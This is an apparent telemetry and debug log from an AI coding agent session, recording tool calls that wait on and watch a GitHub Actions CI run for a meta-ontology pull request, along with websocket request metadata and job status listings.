session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::tools::parallel: tool call completed event.name=\"codex.tool_call\" trace_id= conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn_id=019f547d-6ea8-7232-8540-37894db8bb13 tool_name=exec call_id=call_0vclwsA0Dy35tPeSAf9lTPVN tool_source=\"direct\" execution_started=true dispatch_duration_ms=0 handler_duration_ms=10055 total_duration_ms=10055\n[2026-07-12T04:10:37.730Z] [INFO] \n[2026-07-12T04:10:37.807Z] [INFO] 2026-07-12T04:10:37.803125Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: feedback_tags: model=\"gpt-5.6-sol\" approval_policy=Never sandbox_policy=DangerFullAccess effort=Some(Medium) auth_mode=Some(Chatgpt) features=[ShellTool, CodexHooks, CodeModeHost, UnifiedExec, TerminalResizeReflow, ShellSnapshot, EnableRequestCompression, Collab, Apps, ToolSearchAlwaysDeferMcpTools, ToolSuggest, Plugins, InAppBrowser, BrowserUse, BrowserUseFullCdpAccess, BrowserUseExternal, ComputerUse, RemotePlugin, PluginSharing, ImageGeneration, ResizeAllImages, SkillMcpDependencyInstall, MentionsV2, GuardianApproval, Goals, ToolCallMcpElicitation, AuthElicitation, Personality, FastMode, RemoteCompactionV2, WorkspaceDependencies, Sqlite, Steer, CollaborationModes, TuiAppServer]\n[2026-07-12T04:10:37.807Z] [INFO] \n[2026-07-12T04:10:37.819Z] [INFO] 2026-07-12T04:10:37.817218Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.log_only: event.name=\"codex.websocket_request\" duration_ms=0 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:10:37.817Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:10:37.819Z] [INFO] 2026-07-12T04:10:37.817282Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.trace_safe: event.name=\"codex.websocket_request\" duration_ms=0 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:10:37.817Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:10:37.819Z] [INFO] 2026-07-12T04:10:37.817297Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: feedback_tags: endpoint=\"/responses\" auth_header_attached=true auth_header_name=\"authorization\" auth_mode=\"Chatgpt\" auth_retry_after_unauthorized=\"false\" auth_recovery_mode=\"\" auth_recovery_phase=\"\" auth_connection_reused=\"true\" auth_request_id=\"\" auth_cf_ray=\"\" auth_error=\"\" auth_error_code=\"\" auth_recovery_followup_success=\"\" auth_recovery_followup_status=\"\" auth_env_openai_api_key_present=false auth_env_codex_api_key_present=false auth_env_codex_api_key_enabled=true auth_env_provider_key_name=\"\" auth_env_provider_key_present=\"\" auth_env_refresh_token_url_override_present=false\n[2026-07-12T04:10:37.819Z] [INFO] \n[2026-07-12T04:10:38.943Z] [INFO] 2026-07-12T04:10:38.942665Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=FunctionCall { id: Some(\"fc_0e255b39bbad6b0b016a5313beed4c819195a0deedf90b02aa\"), name: \"wait\", namespace: None, arguments: \"\", call_id: \"call_lOk6AnhdmsqqvGmg2TBv6mtF\", internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:10:38.943Z] [INFO] \n[2026-07-12T04:10:39.649Z] [INFO] 2026-07-12T04:10:39.648782Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: ToolCall: wait {\"cell_id\":\"27\",\"yield_time_ms\":30000,\"max_tokens\":8000} thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77\n[2026-07-12T04:10:39.649Z] [INFO] \n[2026-07-12T04:10:39.660Z] [INFO] 2026-07-12T04:10:39.659780Z  INFO feedback_tags: last_model_response_id=\"resp_0e255b39bbad6b0b016a5313bde0088191917cac38ba8d0e9e\"\n[2026-07-12T04:10:39.660Z] [INFO] 2026-07-12T04:10:39.659833Z  INFO codex_otel.log_only: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=92136 output_token_count=31 cached_token_count=91904 reasoning_token_count=0 tool_token_count=92167 ttft_ms=1125 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:10:39.659Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:10:39.660Z] [INFO] 2026-07-12T04:10:39.659853Z  INFO codex_otel.trace_safe: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=92136 output_token_count=31 cached_token_count=91904 reasoning_token_count=0 tool_token_count=92167 ttft_ms=1125 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:10:39.659Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:10:39.660Z] [INFO] \n[2026-07-12T04:10:54.932Z] [INFO] 2026-07-12T04:10:54.923527Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=write_stdin call_id=exec-ae9be7c0-c554-4afe-b7d6-3b0faa2d57e8 arguments={\"session_id\":81385,\"chars\":\"\",\"yield_time_ms\":30000,\"max_output_tokens\":8000} duration_ms=27187 success=true output=Chunk ID: a8f032\n[2026-07-12T04:10:54.932Z] [INFO] Wall time: 27.1875 seconds\n[2026-07-12T04:10:54.932Z] [INFO] Process exited with code 0\n[2026-07-12T04:10:54.932Z] [INFO] Original token count: 4795\n[2026-07-12T04:10:54.932Z] [INFO] Output:\n[2026-07-12T04:10:54.932Z] [INFO] Refreshing run status every 3 seconds. Press Ctrl+C to quit.\n[2026-07-12T04:10:54.932Z] [INFO] \n[2026-07-12T04:10:54.932Z] [INFO] * issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\n[2026-07-12T04:10:54.932Z] [INFO] Triggered via pull_request about 2 minutes ago\n[2026-07-12T04:10:54.932Z] [INFO] \n[2026-07-12T04:10:54.932Z] [INFO] JOBS\n[2026-07-12T04:10:54.932Z] [INFO] \u2713 Detect Changes in 58s (ID 86613875688)\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Setup Rust\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Install rust-script\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Detect changes\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Post Run actions/checkout@v6\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Complete job\n[2026-07-12T04:10:54.932Z] [INFO] \u2713 Version Modification Check in 51s (ID 86613875700)\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Setup Rust\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Install rust-script\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Check for manual version changes\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Post Run actions/checkout@v6\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Complete job\n[2026-07-12T04:10:54.932Z] [INFO] - Create Changelog PR (ID 86613875968)\n[2026-07-12T04:10:54.932Z] [INFO] \u2713 Ontology Word Coverage in 28s (ID 86613944298)\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Setup Rust\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Cache cargo registry\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Build CLI\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Check word coverage of README.md\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Post Cache cargo registry\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Post Run actions/checkout@v6\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Complete job\n[2026-07-12T04:10:54.932Z] [INFO] \u2713 Lint and Format Check in 1m2s (ID 86613944301)\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Setup Rust\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Install rust-script\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Cache cargo registry\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Check formatting\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Run Clippy\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Check file size limit\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Post Cache cargo registry\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Post Run actions/checkout@v6\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Complete job\n[2026-07-12T04:10:54.932Z] [INFO] \u2713 Test (ubuntu-latest) in 17s (ID 86613944392)\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Setup Rust\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Cache cargo registry\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Run tests\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Run doc tests\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Post Cache cargo registry\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Post Run actions/checkout@v6\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Complete job\n[2026-07-12T04:10:54.932Z] [INFO] \u2713 Test (windows-latest) in 49s (ID 86613944394)\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:10:54.932Z] [INFO]   \u2713 Setup Rust\n[2026-07-12T04:10:54.932Z] [INFO] [... telemetry preview truncated ...] mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:10:54.923Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:10:54.932Z] [INFO] 2026-07-12T04:10:54.923582Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=write_stdin call_id=exec-ae9be7c0-c554-4afe-b7d6-3b0faa2d57e8 duration_ms=27187 success=true arguments_length=78 output_length=1809 output_line_count=65 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:10:54.923Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:10:54.932Z] [INFO] \n[2026-07-12T04:10:54.973Z] [INFO] 2026-07-12T04:10:54.971458Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=wait call_id=call_lOk6AnhdmsqqvGmg2TBv6mtF arguments={\"cell_id\":\"27\",\"yield_time_ms\":30000,\"max_tokens\":8000} duration_ms=15319 success=true output=Script completed\n[2026-07-12T04:10:54.973Z] [INFO] Wall time 15.3 seconds\n[2026-07-12T04:10:54.973Z] [INFO] Output:\n[2026-07-12T04:10:54.973Z] [INFO] \n[2026-07-12T04:10:54.973Z] [INFO] Refreshing run status every 3 seconds. Press Ctrl+C to quit.\n[2026-07-12T04:10:54.973Z] [INFO] \n[2026-07-12T04:10:54.973Z] [INFO] * issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\n[2026-07-12T04:10:54.973Z] [INFO] Triggered via pull_request about 2 minutes ago\n[2026-07-12T04:10:54.973Z] [INFO] \n[2026-07-12T04:10:54.973Z] [INFO] JOBS\n[2026-07-12T04:10:54.973Z] [INFO] \u2713 Detect Changes in 58s (ID 86613875688)\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Setup Rust\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Install rust-script\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Detect changes\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Post Run actions/checkout@v6\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Complete job\n[2026-07-12T04:10:54.973Z] [INFO] \u2713 Version Modification Check in 51s (ID 86613875700)\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Setup Rust\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Install rust-script\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Check for manual version changes\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Post Run actions/checkout@v6\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Complete job\n[2026-07-12T04:10:54.973Z] [INFO] - Create Changelog PR (ID 86613875968)\n[2026-07-12T04:10:54.973Z] [INFO] \u2713 Ontology Word Coverage in 28s (ID 86613944298)\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Setup Rust\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Cache cargo registry\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Build CLI\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Check word coverage of README.md\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Post Cache cargo registry\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Post Run actions/checkout@v6\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Complete job\n[2026-07-12T04:10:54.973Z] [INFO] \u2713 Lint and Format Check in 1m2s (ID 86613944301)\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Setup Rust\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Install rust-script\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Cache cargo registry\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Check formatting\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Run Clippy\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Check file size limit\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Post Cache cargo registry\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Post Run actions/checkout@v6\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Complete job\n[2026-07-12T04:10:54.973Z] [INFO] \u2713 Test (ubuntu-latest) in 17s (ID 86613944392)\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Setup Rust\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Cache cargo registry\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Run tests\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Run doc tests\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Post Cache cargo registry\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Post Run actions/checkout@v6\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Complete job\n[2026-07-12T04:10:54.973Z] [INFO] \u2713 Test (windows-latest) in 49s (ID 86613944394)\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Setup Rust\n[2026-07-12T04:10:54.973Z] [INFO]   \u2713 Cache cargo registry\n[2026-07-12T04:10:54.973Z] [INFO] [... telemetry preview truncated ...] mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:10:54.971Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:10:54.973Z] [INFO] 2026-07-12T04:10:54.971510Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=wait call_id=call_lOk6AnhdmsqqvGmg2TBv6mtF duration_ms=15319 success=true arguments_length=56 output_length=1779 output_line_count=65 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:10:54.971Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:10:54.973Z] [INFO] 2026-07-12T04:10:54.971590Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::tools::parallel: tool call completed event.name=\"codex.tool_call\" trace_id= conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn_id=019f547d-6ea8-7232-8540-37894db8bb13 tool_name=wait call_id=call_lOk6AnhdmsqqvGmg2TBv6mtF tool_source=\"direct\" execution_started=true dispatch_duration_ms=0 handler_duration_ms=15319 total_duration_ms=15319\n[2026-07-12T04:10:54.973Z] [INFO] \n[2026-07-12T04:10:55.019Z] [INFO] 2026-07-12T04:10:55.018544Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: feedback_tags: model=\"gpt-5.6-sol\" approval_policy=Never sandbox_policy=DangerFullAccess effort=Some(Medium) auth_mode=Some(Chatgpt) features=[ShellTool, CodexHooks, CodeModeHost, UnifiedExec, TerminalResizeReflow, ShellSnapshot, EnableRequestCompression, Collab, Apps, ToolSearchAlwaysDeferMcpTools, ToolSuggest, Plugins, InAppBrowser, BrowserUse, BrowserUseFullCdpAccess, BrowserUseExternal, ComputerUse, RemotePlugin, PluginSharing, ImageGeneration, ResizeAllImages, SkillMcpDependencyInstall, MentionsV2, GuardianApproval, Goals, ToolCallMcpElicitation, AuthElicitation, Personality, FastMode, RemoteCompactionV2, WorkspaceDependencies, Sqlite, Steer, CollaborationModes, TuiAppServer]\n[2026-07-12T04:10:55.019Z] [INFO] \n[2026-07-12T04:10:55.049Z] [INFO] 2026-07-12T04:10:55.047397Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.log_only: event.name=\"codex.websocket_request\" duration_ms=0 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:10:55.047Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:10:55.049Z] [INFO] 2026-07-12T04:10:55.049446Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.trace_safe: event.name=\"codex.websocket_request\" duration_ms=0 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:10:55.049Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:10:55.049Z] [INFO] \n[2026-07-12T04:10:55.056Z] [INFO] 2026-07-12T04:10:55.050214Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: feedback_tags: endpoint=\"/responses\" auth_header_attached=true auth_header_name=\"authorization\" auth_mode=\"Chatgpt\" auth_retry_after_unauthorized=\"false\" auth_recovery_mode=\"\" auth_recovery_phase=\"\" auth_connection_reused=\"true\" auth_request_id=\"\" auth_cf_ray=\"\" auth_error=\"\" auth_error_code=\"\" auth_recovery_followup_success=\"\" auth_recovery_followup_status=\"\" auth_env_openai_api_key_present=false auth_env_codex_api_key_present=false auth_env_codex_api_key_enabled=true auth_env_provider_key_name=\"\" auth_env_provider_key_present=\"\" auth_env_refresh_token_url_override_present=false\n[2026-07-12T04:10:55.056Z] [INFO] \n[2026-07-12T04:10:55.063Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_57\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc 'gh run watch 29179259847 --repo link-foundation/meta-ontology --exit-status'\",\"aggregated_output\":\"Refreshing run status every 3 seconds. Press Ctrl+C to quit.\\n\\n* issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\\nTriggered via pull_request less than a minute ago\\n\\nJOBS\\n* Detect Changes (ID 86613875688)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  * Install rust-script\\n  * Detect changes\\n  * Post Run actions/checkout@v6\\n* Version Modification Check (ID 86613875700)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  * Install rust-script\\n  * Check for manual version changes\\n  * Post Run actions/checkout@v6\\n- Create Changelog PR (ID 86613875968)\\nRefreshing run status every 3 seconds. Press Ctrl+C to quit.\\n\\n* issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\\nTriggered via pull_request less than a minute ago\\n\\nJOBS\\n* Detect Changes (ID 86613875688)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  * Install rust-script\\n  * Detect 